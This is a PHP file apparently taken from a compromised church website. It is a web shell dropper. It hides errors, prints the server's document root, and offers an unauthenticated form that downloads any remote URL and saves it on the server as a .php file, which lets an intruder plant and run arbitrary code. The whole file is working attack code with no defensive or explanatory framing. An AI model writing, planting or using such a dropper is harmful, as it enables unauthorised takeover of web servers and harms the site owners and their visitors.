Current File : /home/lifechur/groups.lifechurchboston.org/file.php
<html>
<?php
error_reporting(0);
echo $_SERVER['DOCUMENT_ROOT'];
?>
<?php
set_time_limit(0);
error_reporting(0);
echo $_SERVER['PHP_SELF'];
?>
<form method="post">

U:<input name="url" size="50" /><br>
Y:<input name="yol" size="50" /><br>
start dont:/  file end .php
<input name="submit" type="submit" />
</form>
<?php
set_time_limit(0);
error_reporting(0);
$ext = 'php';
    // maximum execution time in seconds
    set_time_limit (24 * 60 * 60);

    if (!isset($_POST['submit'])) die();

    // folder to save downloaded files to. must end with slash
    $yol = $_POST['yol'];
    $destination_folder = '$yol';

    $url = $_POST['url'];
    $newfname = $yol . basename($url). '.' . $ext;

    $file = fopen ($url, "rb");
    if ($file) {
      $newf = fopen ($newfname, "wb");

      if ($newf)
      while(!feof($file)) {
        fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
      }
    }

    if ($file) {
      fclose($file);
    }

    if ($newf) {
      fclose($newf);
    }
?>
</html>